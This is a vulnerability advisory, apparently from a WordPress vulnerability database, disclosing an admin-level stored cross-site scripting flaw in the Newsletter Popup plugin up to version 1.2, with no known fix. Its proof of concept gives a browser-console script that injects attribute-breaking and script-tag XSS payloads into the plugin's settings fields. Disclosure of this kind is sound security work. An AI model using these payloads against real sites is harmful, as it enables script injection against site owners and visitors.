WordPress Plugin Vulnerabilities

Newsletter Popup <= 1.2 - Admin+ Stored XSS

Description

The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)

Proof of Concept

1. Go to "Newsletter Popup > Add New"
2. In the browser console, enter:

```
let inputs = document.querySelectorAll( '#wpbody-content input[type="text"]' ); inputs.forEach( (element) => element.value=`" style=animation-name:rotation onanimationstart=alert(/XSS: ${element.name}/)//` );let textareas = document.querySelectorAll( '#wpbody-content textarea' ); textareas.forEach( (element) => element.value=`</textarea><script>alert(/XSS: ${element.name}/)</script>` );
```
3. Click "Save Changes"
4. Go to "Manage Newsletters" and edit the newsletter that you added
5. See multiple XSS examples

Affects Plugins

No known fix

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Bob Matyas
Submitter
Bob Matyas
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2024-04-25 (about 25 days ago)
Added
2024-04-25 (about 25 days ago)
Last Updated
2024-04-25 (about 25 days ago)

Other